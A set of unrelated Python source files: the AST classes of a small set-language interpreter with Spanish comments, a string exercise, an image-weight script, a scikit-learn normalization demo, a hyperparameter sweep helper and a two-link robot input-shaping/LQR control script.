self.rightExp.printTree(level + 2)
def symbolcheck(self):
empilar(self.rightExp, self.alcance)
empilar(self.leftIdent, self.alcance)
#Buscamos los tipos
RightExpType = self.rightExp.symbolcheck()
LeftIdentType = self.leftIdent.symbolcheck()
if LeftIdentType and RightExpType:
#Verificamos que la asignacion cumpla el tipo del identificador
if LeftIdentType != RightExpType:
mensaje = "ERROR: No se puede asignar '" + RightExpType \
+ "' a Variable '" + str(self.leftIdent) + "' de tipo '"\
+ str(LeftIdentType) + "' "\
+ locationToString(self.location)
type_error_list.append(mensaje)
if LeftIdentType:
identifier = self.alcance.buscar(self.leftIdent.identifier)
if not identifier.modifiable:
mensaje = "ERROR: No se puede modificar " + str(self.leftIdent)\
+ locationToString(self.location)
type_error_list.append(mensaje)
def evaluate(self):
#Evaluamos las expresiones
Identifier = str(self.leftIdent)
result = self.rightExp.evaluate()
identifier = self.alcance.buscar(Identifier)
#Actualizamos
if identifier.modifiable:
self.alcance.update(Identifier,result)
# Clase para la impresion por consola
class Print(Expression):
def __init__(self, printType, elements, location):
self.type = printType
self.elements = elements
self.location = location
self.alcance = tablaSimbolos()
def printTree(self, level):
printValueIdented(self.type,level)
for element in self.elements:
element.printTree(level + 1)
def symbolcheck(self):
acceptedTypes = ['string','int','bool','set']
for element in self.elements:
empilar(element, self.alcance)
elemtype = element.symbolcheck()
#Verificamos que se impriman expresiones de tipos permitidos
if not elemtype in acceptedTypes:
mensaje = "ERROR: No se puede imprimir '"\
+ str(elemtype) + "' "\
+ locationToString(self.location)
type_error_list.append(mensaje)
def evaluate(self):
for element in self.elements:
print(element.evaluate()),
if self.type == "PRINTLN":
print
# Clase para la entrada de datos
class Scan(Expression):
def __init__(self, identifier, location):
self.type = 'SCAN'
self.value = identifier
self.location = location
def printTree(self,level):
printValueIdented(self.type,level)
self.value.printTree(level + 1)
def symbolcheck(self):
acceptedTypes = ['int','bool']
empilar(self.value, self.alcance)
valueType = self.value.symbolcheck()
#Verificamos que se admita el tipo permitido
if not valueType in acceptedTypes:
mensaje = "ERROR: scan no admite valores de tipo '"\
+ valueType + "' "\
+ locationToString(self.location)
type_error_list.append(mensaje)
def evaluate(self):
#Buscamos la variable donde se almacenara el valor de entrada
simbol = self.alcance.buscar(self.value.identifier)
if simbol:
#Verificamos la accion a realizar segun el tipo
if simbol.type == 'int':
ejecutar = True
while ejecutar:
entrada = raw_input()
#Verificamos si la entrada es un numero
for i in range(0,len(entrada)):
esNumero = entrada[i] in '-0123456789'
if not esNumero:
esNumero = False
break
if esNumero:
entrada = int(entrada)
#Actualizamos el valor
if isinstance(entrada, int) and simbol.modifiable == True:
self.alcance.update(self.value.identifier,entrada)
ejecutar = False
else:
ejecutar = True
elif simbol.type == 'bool':
ejecutar = True
while ejecutar:
entrada = raw_input()
if entrada in ['false','true'] and simbol.modifiable == True:
self.alcance.update(self.value.identifier,entrada)
ejecutar = False
else:
ejecutar = True
#Un bloque es una secuencia de Expresiones
class Block(Expression):
def __init__(self, list_inst, declaraciones = None):
self.type = "BLOCK"
self.list_inst = list_inst
self.declaraciones = declaraciones
self.alcance = tablaSimbolos()
def printTree(self,level):
printValueIdented(self.type,level)
#Imprimimos la lista de declaraciones, si existe
if self.declaraciones:
self.declaraciones.printTree(level+1)
#Imprimimos toda la lista de instrucciones
if self.list_inst:
for inst in self.list_inst:
inst.printTree(level + 1)
printValueIdented("BLOCK_END", level)
def symbolcheck(self):
if self.declaraciones:
empilar(self.declaraciones, self.alcance)
self.declaraciones.symbolcheck()
if self.list_inst:
for inst in self.list_inst:
empilar(inst, self.alcance)
inst.symbolcheck()
return True
def evaluate(self):
for inst in self.list_inst:
inst.evaluate()
#Clase para las declaraciones
class Using(Expression):
def __init__(self, list_declare):
self.type = "USING"
self.list_declare = list_declare
self.alcance = tablaSimbolos()
def printTree(self,level):
printValueIdented(self.type, level)
#Se imprimen todas las declaraciones
for declaration in self.list_declare:
declaration.printTree(level)
printValueIdented("IN", level)
def symbolcheck(self):
for declaration in self.list_declare:
empilar(declaration, self.alcance)
declaration.symbolcheck()
#Clase para los elementos de una declaracion.
class Declaration(Expression):
def __init__(self, decType, list_id):
self.type = decType
self.list_id = list_id
self.alcance = tablaSimbolos()
def printTree(self, level):
self.type.printTree(level)
for identifier in self.list_id:
printValueIdented(identifier, level + 2)
def symbolcheck(self):
for var in self.list_id:
self.alcance.insert(var, self.type.type)
# La declaracion de variables no se evalua
def evaluate(self):
pass
#Clase para los condicionales
class If(Expression):
def __init__(self,condition,inst_if,location, inst_else = None):
self.type = 'IF'
self.condition = condition
self.inst_if = inst_if
self.location = location
self.inst_else = inst_else
def printTree(self,level):
printValueIdented(self.type,level)
printValueIdented("condition",level + 1)
self.condition.printTree(level + 2)
printValueIdented('THEN',level + 1)
self.inst_if.printTree(level + 2)
if self.inst_else is not None:
printValueIdented('ELSE',level)
self.inst_else.printTree(level +1)
printValueIdented('END_IF',level)
def symbolcheck(self):
empilar(self.condition, self.alcance)
conditionType = self.condition.symbolcheck()
if self.inst_else:
empilar(self.inst_else, self.alcance)
inst_else_Type = self.inst_else.symbolcheck()
if conditionType != 'bool':
mensaje = "ERROR: La condicion del IF debe ser tipo 'bool'"
mensaje += locationToString(self.location)
type_error_list.append(mensaje)
def evaluate(self):
condition = self.condition.evaluate()
if condition:
self.inst_if.evaluate()
elif self.inst_else:
self.inst_else.evaluate()
#Clase para el ciclo for
class For(Expression):
def __init__(self,identifier,direction,expre,inst, location):
self.type = 'FOR'
self.identifier = identifier
self.direction = direction
self.expre = expre
self.inst = inst
self.location = location
def printTree(self,level):
printValueIdented(self.type,level)
self.identifier.printTree(level + 1)
self.direction.printTree(level + 1)
printValueIdented('IN',level + 1)
self.expre.printTree(level + 1)
printValueIdented('DO',level + 1)
self.inst.printTree(level + 2)
printValueIdented('END_FOR',level)
def symbolcheck(self):
#Creamos la tabla para el alcance local del for
alcanceFor = tablaSimbolos()
alcanceFor.parent = self.alcance
alcanceFor.insert(str(self.identifier), 'int', False)
self.alcance.children.append(alcanceFor)
self.alcance = alcanceFor
empilar(self.expre, self.alcance)
empilar(self.identifier, self.alcance)
self.inst.alcance = self.alcance
self.identifier.symbolcheck()
#Tipo de la expresion del for
expreType = self.expre.symbolcheck()
#Tipo de la direccion
dirType = self.direction.symbolcheck()
if dirType != 'min' and dirType != 'max':
mensaje = "ERROR: La direccion del for"\
+ " debe ser 'max' o 'min' "\
+ locationToString(self.location)
type_error_list.append(mensaje)
if expreType != 'set':
mensaje = "ERROR: La expresion del for"\
+ " debe ser de tipo 'set' "\
+ locationToString(self.location)
type_error_list.append(mensaje)
self.inst.symbolcheck()
def evaluate(self):
# Obtenemos los elementos del conjunto a iterar
elements = setAListaDeEnteros(self.expre.evaluate())
# Si el conjunto es vacio
if elements == []:
string = "ERROR: No se puede iterar sobre el conjunto vacio "
string += locationToString(self.location)
print(string)
exit()
#Verificamos el orden del recorrido del conjunto
if self.direction.evaluate() == 'min': #Recorrido ascendente
while elements != []:
ubication = elements.index(min(elements))
value = elements.pop(ubication)
self.alcance.update(str(self.identifier),value)
#Evaluamos las instrucciones
self.inst.evaluate()
elif self.direction.evaluate() == 'max': #Recorrido descendente
while elements != []:
ubication = elements.index(max(elements))
value = elements.pop(ubication)
self.alcance.update(str(self.identifier),value)
#Evaluamos las instrucciones
self.inst.evaluate()
#Clase para la direccion de recorrido del conjunto del for
class Direction(Expression):
def __init__(self,value):
self.type = 'direction'
self.value = value
def printTree(self,level):
printValueIdented(self.type, level)
printValueIdented(self.value,level + 1)
def symbolcheck(self):
return self.value
def evaluate(self):
return self.value
#Clase para el ciclo repat-while-do
class RepeatWhileDo(Expression):
def __init__(self,inst1,expre,inst2,location):
self.type = 'REPEAT'
self.inst1 = inst1
self.expre = expre
self.inst2 = inst2
self.location = location
def printTree(self,level):
printValueIdented(self.type,level)
self.inst1.printTree(level + 1)
printValueIdented('WHILE',level)
printValueIdented('condition', level + 1)
self.expre.printTree(level + 2)
printValueIdented('DO',level)
self.inst2.printTree(level + 1)
def symbolcheck(self):
empilar(self.inst1, self.alcance)
empilar(self.expre, self.alcance)
empilar(self.inst2, self.alcance)
expreType = self.expre.symbolcheck()
#Verificamos que la condicion sea booleana
if expreType != 'bool':
mensaje = "ERROR: La condicion del while debe ser de tipo 'bool'."
mensaje += locationToString(self.location)
type_error_list.append(mensaje)
self.inst1.symbolcheck()
self.inst2.symbolcheck()
def evaluate(self):
ejecutar = True
while ejecutar:
self.inst1.evaluate()
if self.expre.evaluate(): #Verificamos que se cumpla la condicion
self.inst2.evaluate()
else:
ejecutar = False
#Clase para los ciclos while condicion do
class WhileDo(Expression):
def __init__(self,expre,inst, location):
self.type = 'WHILE'
self.expre = expre
self.inst = inst
self.location = location
def printTree(self, level):
printValueIdented(self.type,level)
printValueIdented('condition',level + 1)
self.expre.printTree(level + 2)
printValueIdented('DO',level)
self.inst.printTree(level + 1)
printValueIdented('END_WHILE',level)
def symbolcheck(self):
empilar(self.expre, self.alcance)
empilar(self.inst, self.alcance)
expreType = self.expre.symbolcheck()
#Verificamos que la condicion sea booleana
if expreType != 'bool':
mensaje = "ERROR: La condicion del while debe ser de tipo 'bool'."
mensaje += locationToString(self.location)
type_error_list.append(mensaje)
self.inst.symbolcheck()
def evaluate(self):
while self.expre.evaluate():
self.inst.evaluate()
#Clase para los ciclos repeat instruccion while condicion do
class RepeatWhile(Expression):
def __init__(self,inst,expre, location):
self.type = 'REPEAT'
self.inst = inst
self.expre = expre
self.location = location
def printTree(self,level):
printValueIdented(self.type,level)
self.inst.printTree(level + 1)
printValueIdented('condition',level + 1)
self.expre.printTree(level + 2)
def symbolcheck(self):
empilar(self.inst, self.alcance)
empilar(self.expre, self.alcance)
expreType = self.expre.symbolcheck()
#Verificamos que la condicion sea booleana
if expreType != 'bool':
mensaje = "ERROR: La condicion del while debe ser de tipo 'bool'."
mensaje += locationToString(self.location)
type_error_list.append(mensaje)
self.inst.symbolcheck()
def evaluate(self):
self.inst.evaluate()
while self.expre.evaluate():
self.inst.evaluate()
#Clase para los numeros enteros
class Number(Expression):
def __init__(self, number):
self.type = "int"
self.number = number
# Para poder ser imprimido por la instruccion print
def __str__(self):
return str(self.number)
def printTree(self, level):
printValueIdented(self.type, level)
printValueIdented(self.number, level + 1)
def symbolcheck(self):
return 'int'
def evaluate(self):
return int(self.number)
# Clase para definir un string o cadena de caracteres.
class String(Expression):
def __init__(self, string):
self.type = "STRING"
self.string = string
def __str__(self):
textOnly = self.string[1:]
textOnly = textOnly[:-1]
return textOnly
def printTree(self, level):
printValueIdented(self.type, level)
printValueIdented(self.string, level + 1)
def symbolcheck(self):
return 'string'
def evaluate(self):
return str(self)
# Clase para definir un identificador o variable.
class Identifier(Expression):
def __init__(self, identifier, location):
self.type = "VARIABLE"
self.identifier = identifier
self.location = location
self.alcance = tablaSimbolos()
def __str__(self):
return self.identifier
def printTree(self, level):
printValueIdented(self.type, level)
printValueIdented(self.identifier, level + 1)
def symbolcheck(self):
if self.alcance.globalContains(str(self.identifier)):
identifier = self.alcance.buscar(self.identifier)
return identifier.type
else:
mensaje = "ERROR: Variable '" + str(self.identifier)\
+ "' es asignada antes de ser declarada " \
+ locationToString(self.location)
if not mensaje in type_error_list:
type_error_list.append(mensaje)
return str(self.identifier)
def evaluate(self):
return self.alcance.buscar(self.identifier).value
# Clase para definir una expresion booleana.
class Bool(Expression):
def __init__(self, value):
self.type = 'bool'
self.value = value
def __str__(self):
return str(self.value)
def printTree(self,level):
printValueIdented(self.type, level)
printValueIdented(self.value, level + 1)
def symbolcheck(self):
return 'bool'
def evaluate(self):
return str(self.value)
#Clase para la parentizacion
class Parenthesis(Expression):
def __init__(self, exp):
self.type = 'PARENTHESIS'
self.exp = exp
self.alcance = tablaSimbolos()
def printTree(self,level):
printValueIdented(self.type, level)
self.exp.printTree(level + 1)
def symbolcheck(self):
empilar(self.exp, self.alcance)
return self.exp.symbolcheck()
def evaluate(self):
return self.exp.evaluate()
# Clase para definir un Conjunto.
class Set(Expression):
def __init__(self,list_expr, location):
self.type = 'SET'
self.list_expr = list_expr
self.location = location
self.alcance = tablaSimbolos()
# Para poder ser imprimido por la instruccion print
def __str__(self):
return listaDeEnterosASet(self.list_expr)
def printTree(self,level):
printValueIdented(self.type, level)
if self.list_expr:
for expr in self.list_expr:
expr.printTree(level + 1)
def symbolcheck(self):
if self.list_expr:
# Un set solo puede contener numeros
type_set = 'int'
for exp in self.list_expr:
empilar(exp, self.alcance)
if type_set != exp.symbolcheck():
mensaje = "ERROR: 'set' esperaba un numero entero pero se encontro Variable '" \
+ exp.symbolcheck() + "' "\
+ locationToString(self.location)
type_error_list.append(mensaje)
return exp.symbolcheck()
return 'set'
def evaluate(self):
listaEnteros = []
if not self.list_expr:
return listaDeEnterosASet(listaEnteros)
for exp in self.list_expr:
listaEnteros.append(exp.evaluate())
return listaDeEnterosASet(listaEnteros)
# Clase para definir los tipos.
class Type(Expression):
def __init__(self, typeName):
self.type = typeName
def printTree(self,level):
printValueIdented(self.type, level + 1)
#Classe para los Operadores Binarios
class BinaryOperator(Expression):
global binaryOperatorTypeTuples, evalBinaryFunctions
binaryOperatorTypeTuples = {
('int', 'TIMES', 'int'): 'int',
('int', 'PLUS', 'int'): 'int',
('int', 'MINUS', 'int'): 'int',
('int', 'DIVIDE', 'int'): 'int',
('int', 'MODULE', 'int'): 'int',
('set', 'UNION', 'set'): 'set',
('set', 'DIFERENCE','set'): 'set',
('set', 'INTERSECTION','set'):'set',
('int', 'PLUSMAP', 'set'): 'set',
('int', 'MINUSMAP', 'set'): 'set',
('int', 'TIMESMAP', 'set'): 'set',
('int', 'DIVIDEMAP','set'): 'set',
('int', 'MODULEMAP', 'set'): 'set',
('bool', 'OR', 'bool'): 'bool',
('bool', 'AND', 'bool'): 'bool',
('int', 'LESS','int'): 'bool',
('int', 'GREAT', 'int'): 'bool',
('int', 'LESSEQ', 'int'): 'bool',
('int', 'GREATEQ', 'int'): 'bool',
('int', 'EQUAL', 'int'): 'bool',
('bool', 'EQUAL', 'bool'): 'bool',
('int', 'UNEQUAL', 'int'): 'bool',
('set', 'EQUAL', 'set'): 'set',
('bool', 'UNEQUAL', 'bool'): 'bool',
('set', 'UNEQUAL', 'set'): 'bool',
('int', 'CONTAINMENT', 'set'): 'bool'
}
evalBinaryFunctions = {
# Aritmeticos
'PLUS' : suma,
'MINUS' : resta,
'TIMES' : multiplicacion,
'DIVIDE': division,
'MODULE': modulo,
# Aritmetico-Logicos
'LESS' : menor,
'GREAT': mayor,
'LESSEQ': menorIgual,
'GREATEQ': mayorIgual,
'UNEQUAL': desigual,
'EQUAL' : igual,
# Logicos
'AND' : logicAnd,
'OR' : logicOr,
# Naturales Sobre Conjuntos
'CONTAINMENT' : contiene,
'UNION' : union,
'INTERSECTION': interseccion,
'DIFERENCE' : diferencia,
# Mapeo sobre conjuntos
'PLUSMAP' : mapeoSuma,
'MINUSMAP' : mapeoResta,
'TIMESMAP' : mapeoMultiplicacion,
'DIVIDEMAP': mapeoDivision,
'MODULEMAP': mapeoModulo
}
def __init__(self, leftExp, operator, rightExp, location):
self.leftExp = leftExp
self.operator = Operator(operator)
self.rightExp = rightExp
self.location = location
self.alcance = tablaSimbolos()
def printTree(self, level):
self.operator.printTree(level)
self.leftExp.printTree(level + 1)
self.rightExp.printTree(level + 1)
def symbolcheck(self):
#Pasamos la tabla de simbolos
empilar(self.leftExp, self.alcance)
empilar(self.rightExp, self.alcance)
#Verificamos los tipos de cada operando
leftExpType = self.leftExp.symbolcheck()
rightExpType = self.rightExp.symbolcheck()
operatorName = self.operator.symbolcheck()
newTuple = (leftExpType, operatorName, rightExpType)
if newTuple in binaryOperatorTypeTuples:
return binaryOperatorTypeTuples[newTuple]
else:
mensaje = "ERROR: No se puede aplicar '" + operatorName\
+ "' en operandos de tipo '" + leftExpType\
+ "' y '" + rightExpType + "'."\
+ locationToString(self.location)
type_error_list.append(mensaje)
return False
def evaluate(self):
operatorName = self.operator.symbolcheck()
# Evaluamos ambos lados del operando
rigtOp = self.rightExp.evaluate()
leftOp = self.leftExp.evaluate()
# Aplicamos la operacion indicada y tomamos el resultado.
try:
result = evalBinaryFunctions[operatorName](leftOp, rigtOp)
except Exception as Mensaje:
string = Mensaje.args[0] + locationToString(self.location)
print string
exit()
return result
#Clase para los Oeradores Unarios
class UnaryOperator(Expression):
global unaryOperatorTypeTuples, evalUnaryFunctions
unaryOperatorTypeTuples = {
('MINUS','int') : 'int',
('MAXVALUE','set') : 'int',
('MINVALUE','set') : 'int',
('NUMELEMENTS','set'): 'int',
('NOT', 'bool') : 'bool'
}
evalUnaryFunctions = {
'MINUS' : negativo,
'NOT' : negar,
'MINVALUE' : minimo,
'MAXVALUE' : maximo,
'NUMELEMENTS': numElementos
}
def __init__(self,operator,expresion, location):
self.operator = Operator(operator)
self.expresion = expresion
self.location = location
self.alcance = tablaSimbolos()
def printTree(self,level):
self.operator.printTree(level)
self.expresion.printTree(level + 1)
def symbolcheck(self):
empilar(self.expresion, self.alcance)
#Verificamos los tipos de los operandos.
operatorName = self.operator.symbolcheck()
expresionType = self.expresion.symbolcheck()
newTuple = (operatorName, expresionType)
if newTuple in unaryOperatorTypeTuples:
return unaryOperatorTypeTuples[newTuple]
else:
mensaje = "ERROR: No se puede aplicar '" + operatorName\
+ "' en operando de tipo '" + expresionType + "' "\
+ locationToString(self.location)
type_error_list.append(mensaje)
return False
def evaluate(self):
operatorName = self.operator.symbolcheck()
# Evaluamos ambos lados del operando
expresion = self.expresion.evaluate()
# Aplicamos la operacion indicada y tomamos el resultado.
try:
result = evalUnaryFunctions[operatorName](expresion)
except Exception as Mensaje:
string = Mensaje.args[0] + locationToString(self.location)
print string
exit()
return result
# Classe para los operadores:
class Operator(Expression):
#Todos ellos. Sin distincion Binaria/Unaria
global operator_dicc
operator_dicc = {
'*' :'TIMES',
'+' :'PLUS',
'-' :'MINUS',
'/' :'DIVIDE',
'%' :'MODULE',
'++' :'UNION',
'\\' :'DIFERENCE',
'><' :'INTERSECTION',
'<+>':'PLUSMAP',
'<->':'MINUSMAP',
'<*>':'TIMESMAP',
'</>':'DIVIDEMAP',
'<%>':'MODULEMAP',
'>?' :'MAXVALUE',
'<?' :'MINVALUE',
'$?' :'NUMELEMENTS',
'or' :'OR',
'and':'AND',
'not':'NOT',
'@' :'CONTAINMENT',
'<' :'LESS',
'>' :'GREAT',
'<=' :'LESSEQ',
'>=' :'GREATEQ',
'==' :'EQUAL',
'/=' :'UNEQUAL',
}
################################################################################
def __init__(self,operator):
self.operator = operator
self.name = operator_dicc[operator]
def __str__(self):
return self.name
def printTree(self,level):
printValueIdented(self.name +" "+ self.operator, level)
def symbolcheck(self):
return self.name
|
'''8. Write a Python program to remove
the n th index character from a nonempty string. '''
def remove(str, n):
first_part = str[:n]
last_part = str[n+1:]
return first_part + last_part
print(remove('Pradip', 0))
print(remove('Pradip', 3))
print(remove('Pradip', 5))
|
# -*- coding: utf-8 -*-
"""
Редактор Spyder
Это временный скриптовый файл.
"""
import numpy as np
import math
from PIL import Image
def setWeight(h, p1, p2):
return math.exp(-1/h*math.sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2 + (p1[2] - p2[2])**2))
img = Image.open('image.jpg')
arr = np.asarray(img, dtype='uint8')
arrWeight = []
h = int(input())
print(len(arr))
for i in range(len(arr)-1):
arrWeight.append([])
for j in range(len(arr[i]) - 2):
arrWeight[i].append(setWeight(h, arr[i][j], arr[i][j+1]))
|
# Normalize data (length of 1)
from sklearn.preprocessing import Normalizer
from pandas import read_csv
from numpy import set_printoptions
import numpy as np
filename = 'pima-indians-diabetes.data.csv'
data = read_csv(filename)
array = data.values
# separate array into input and output components
X = array[:, 0:8]
Y = array[:, 8]
scaler = Normalizer().fit(X)
normalizedX = scaler.transform(X)
# summarize transformed data
set_printoptions(precision=3)
norm = normalizedX[0:5, :]
# Kiểm tra xem chiều dài vector, tổng bình phương từng phần tử có bằng 1 hay không
for row in norm:
sum_square = np.sum(row ** 2)
print(f"{row} - {sum_square}")
'''
Dữ liệu này phù hợp với K-Means algorithm
'''
|
"""
Usage
args = {
'param1': [1e-3, 1e-2, 1e-2],
'param2': [1,5,10,20],
}
run_sweep_parallel(func, args)
or
run_sweep_serial(func, args)
"""
import os
import itertools
import multiprocessing
import random
import hashlib
from datetime import datetime
def _recurse_helper(d):
return itertools.product(
*[_recurse_helper(v) if isinstance(v, dict) else v for v in d.values()]
)
def _map_to_kwargs(d, config):
new_d = d.copy()
for k, c in zip(d.keys(), config):
if isinstance(d[k], dict):
new_d[k] = _map_to_kwargs(d[k], c)
else:
new_d[k] = c
return new_d
def fixed_config(hyper_config):
new_config = hyper_config.copy()
for k in new_config:
if isinstance(new_config[k], dict):
new_config[k] = fixed_config(new_config[k])
else:
new_config[k] = (new_config[k],)
return new_config
class Sweeper(object):
def __init__(self, hyper_config, repeat):
self.hyper_config = hyper_config
self.repeat = repeat
def __iter__(self):
count = 0
for _ in range(self.repeat):
for config in _recurse_helper(self.hyper_config):
kwargs = _map_to_kwargs(self.hyper_config, config)
count += 1
yield kwargs
def always_true(x):
return True
def chunk_filter(chunk_id, num_chunks):
def filter(config):
hash_ = int(hashlib.md5(repr(config).encode('utf-8')).hexdigest(), 16)
task_chunk = hash_ % num_chunks
return chunk_id == task_chunk
return filter
def run_sweep_serial(run_method, params, repeat=1, filter_fn=always_true):
sweeper = Sweeper(params, repeat)
for config in sweeper:
if filter_fn(config):
run_method(**config)
def kwargs_wrapper(args_method_seed):
args, method, seed = args_method_seed
from rlutil import seeding
seeding.set_seed(seed)
return method(**args)
def run_sweep_parallel(run_method, params, repeat=1, num_cpu=multiprocessing.cpu_count(),
filter_fn=always_true):
sweeper = Sweeper(params, repeat)
pool = multiprocessing.Pool(num_cpu)
exp_args = []
exp_n = 0
for config in sweeper:
if filter_fn(config):
exp_args.append((config, run_method, exp_n))
exp_n += 1
print('Launching {exp_n} experiments with {num_cpu} CPUs'.format(**locals()))
random.shuffle(exp_args)
pool.map(kwargs_wrapper, exp_args)
THIS_FILE_DIR = os.path.dirname(__file__)
SCRIPTS_DIR = os.path.join(os.path.dirname(THIS_FILE_DIR), 'scripts')
def run_sweep_doodad(run_method, params, run_mode, mounts, repeat=1, test_one=False):
import doodad
sweeper = Sweeper(params, repeat)
for config in sweeper:
def run_method_args():
run_method(**config)
doodad.launch_python(
target = os.path.join(SCRIPTS_DIR, 'run_experiment_lite_doodad.py'),
mode=run_mode,
mount_points=mounts,
use_cloudpickle=True,
args = {'run_method': run_method_args},
)
if test_one:
break
if __name__ == "__main__":
def example_run_method(exp_name, param1, param2='a', param3=3, param4=4):
import time
time.sleep(1.0)
print(exp_name, param1, param2, param3, param4)
sweep_op = {
'param1': [1e-3, 1e-2, 1e-1],
'param2': [1,5,10,20],
'param3': [True, False]
}
run_sweep_parallel(example_run_method, sweep_op, repeat=2)
|
"""
#------------------------------------------------------------------------------
# Create ZV-IC Shaper
#
# This script will take a generalized input from an undamped second order system subject
# to nonzero initial conditions and solve the minimum-time ZV shaper using optimization
#
# Created: 6/20/17 - Daniel Newman -- dmn3669@louisiana.edu
#
# Modified:
# * 6/20/17 - DMN -- dmn3669@louisiana.edu
# - Added documentation for this script
#------------------------------------------------------------------------------
"""
# Ignore user warnings to keep the terminal clean
import warnings
warnings.simplefilter("ignore", UserWarning)
warnings.simplefilter("ignore", RuntimeWarning)
# Import the necessary python library modules
import numpy as np
from scipy.signal import lsim
from scipy.special import gamma
from scipy import integrate
import control
from scipy import optimize
import os
import sys
import pdb
# Add my local path to the relevant modules list
sys.path.append('/Users/Daniel/Github/Crawlab-Student-Code/Daniel Newman/Python Modules')
# Import my python modules
import InputShaping as shaping
import Generate_Plots as genplt
import kanes_2link as two_link
from scipy.signal import bode
opt_condition = 'ZV-Low Effort'
folder = 'Figures/{}/'.format(
sys.argv[0],
)
# Number of elements per link
n = 3
# Time array
tmax = 7
t_step = 0.01
t = np.arange(0,tmax,t_step)
StartTime = 0.0
# Conversion for degrees to radians
DEG_TO_RAD = np.pi / 180
# Link Length
L_1 = 0.5
L_2 = 0.5
L = [L_1,L_2]
# Mass density per unity length
rho = 0.2
# Mass of the links
m_1 = rho * L_1
m_2 = rho * L_2
M = [m_1,m_2]
# Mass of the link payloads
m_p = 0.1
m_h2 = 1
J_h1 = 0.1
J_h2 = 0.1
J_p = 0.0005
J = [J_h1,J_h2,J_p]
# Initial states
theta1_0 = 0
theta1_dot_0 = 0
theta2_0 = 0
theta2_dot_0 = 0
X0 = [np.rad2deg(theta1_0),np.rad2deg(theta2_0),theta1_dot_0,theta2_dot_0]
# Stiffness of the links
E = 1
I = 1
# Maximum allowed actuator effort
tau_max = 10
theta1_d = 90. * DEG_TO_RAD
theta2_d = 90. * DEG_TO_RAD
Distance = [theta1_d,theta2_d]
Disturb_Dist = [0.001,0.001]
# Arguments to pass to the solver
p = [tau_max, M, J, I, E, L, StartTime, t_step, t, X0, Distance]
p_disturb = [tau_max, M, J, I, E, L, StartTime, t_step, t, X0, Disturb_Dist]
Kane = two_link.derive_sys(n,[[m_p,m_h2],J, E, I])
Q = np.load('Q_Optimal_ZV-Low Effort_1.npy')
R = np.load('R_Optimal_ZV-Low Effort_1.npy')
A = np.load('A_Matrix.npy')
B = np.load('B_Matrix.npy')
C = np.load('C_Matrix.npy')
Q_LQR = np.load('Q_Optimal_Unshaped.npy')
R_LQR = np.load('R_Optimal_Unshaped.npy')
Q_LQR = np.matmul(C.T,np.matmul(Q_LQR,C))
LQR_Gains,S,E = control.lqr(A,B,Q_LQR,R_LQR)
LQR_Gains = LQR_Gains.T
Q = np.matmul(C.T,np.matmul(Q,C))
K_damped,S,E = control.lqr(A,B,Q,R)
K_damped = K_damped.T
des_xy = np.zeros([1,4*n])
des_xy[:,0:n] = np.tile(theta1_d,(n,1)).T
des_xy[:,n:2*n] = np.tile(theta2_d,(n,1)).T
des_x,des_y = two_link.get_xy_coords(n,des_xy,L)
Disturbance = np.zeros([len(t),4*n])
Disturbance[:,4*n-1] = shaping.pulse(t,20,0.1,1)
#Disturbance[:,3*n-1] = shaping.pulse(t,20,0.1,1)
print('LQR Gains: {}'.format(LQR_Gains))
Omegas_damp,Zetas_damp = two_link.nominal_omega(n,Kane,p,K_damped)
LQR_Omegas,LQR_Zetas = two_link.nominal_omega(n,Kane,p,LQR_Gains)
print('Damped Omegas: {}'.format(Omegas_damp))
print('Damped Zetas: {}'.format(Zetas_damp))
print('LQR Omegas: {}'.format(LQR_Omegas))
print('LQR Zetas: {}'.format(LQR_Zetas))
print('Damped Gains: {}',format(K_damped))
LQR_response,[unshaper,unshaper],LQR_Gains = two_link.response(
n,Kane,p,LQR_Gains,LQR_Omegas,LQR_Zetas,
Shaper1='Unshaped',Shaper2='Unshaped',
motion='Step'
)
dist_LQR_response,[unshaper,unshaper],LQR_Gains = two_link.response(
n,Kane,p_disturb,LQR_Gains,LQR_Omegas,LQR_Zetas,
Shaper1='Unshaped',Shaper2='Unshaped',
motion='Step',Disturbance=Disturbance
)
shaped_response,[subopt_shaper,subopt_shaper],LQR_Gains = two_link.response(
n,Kane,p,LQR_Gains,LQR_Omegas,LQR_Zetas,
Shaper1=opt_condition,Shaper2=opt_condition,
motion='Step'
)
dist_shaped_response,[subopt_shaper1,subopt_shaper2],LQR_Gains = two_link.response(
n,Kane,p_disturb,LQR_Gains,LQR_Omegas,LQR_Zetas,
Shaper1=opt_condition,Shaper2=opt_condition,
motion='Step',Disturbance=Disturbance
)
damped_response,[Shaper_damp,Shaper_damp],Gains_damp = two_link.response(
n,Kane,p,K_damped,Omegas_damp,Zetas_damp,
Shaper1=opt_condition,Shaper2=opt_condition,
motion='Step'
)
dist_damped_response,[Shaper_damp,Shaper_damp],Gains_damp = two_link.response(
n,Kane,p_disturb,K_damped,Omegas_damp,Zetas_damp,
Shaper1=opt_condition,Shaper2=opt_condition,
motion='Step',Disturbance=Disturbance
)
print('Shaper: {}'.format(Shaper_damp))
print('LQR Shaper: {}'.format(subopt_shaper))
def actuator_effort(response,Shaper,Gains,dist_1=Distance[0],dist_2=Distance[1]):
theta1 = response[:,0]
theta1_dot = response[:,2*n]
theta2 = response[:,n]
theta2_dot = response[:,3*n]
delta1 = response[:,n-1]
delta1_dot = response[:,3*n-1]
delta2 = response[:,2*n-1]
delta2_dot = response[:,4*n-1]
shaped_pos1 = shaping.shaped_input(shaping.step_input,t,Shaper,dist_1)
shaped_pos2 = shaping.shaped_input(shaping.step_input,t,Shaper,dist_2)
shaped_pos1 = shaped_pos1 + X0[0]
shaped_pos2 = shaped_pos2 + X0[1]
shaped_vel1 = np.zeros(len(t))
shaped_vel2 = np.zeros(len(t))
X_ref = np.zeros([len(t),4*n])
X_ref[:,0:n] = np.tile(shaped_pos1,(n,1)).T
X_ref[:,n:2*n] = np.tile(shaped_pos2,(n,1)).T
tau = np.zeros([len(t),2])
for i in range(len(t)):
tau[i,:] = np.matmul(Gains.T,(X_ref[i,:] - response[i,:]))
tau = np.clip(tau,-tau_max,tau_max)
return tau[:,0],tau[:,1]
sub_shaped_effort1,sub_shaped_effort2 = actuator_effort(shaped_response,subopt_shaper,LQR_Gains)
damped_shaped_effort1,damped_shaped_effort2 = actuator_effort(damped_response,Shaper_damp,K_damped)
lqr_effort1,lqr_effort2 = actuator_effort(LQR_response,unshaper,LQR_Gains)
dist_subshaped_effort1,dist_subshaped_effort2 = actuator_effort(dist_shaped_response,subopt_shaper,LQR_Gains,Disturb_Dist[0],Disturb_Dist[1])
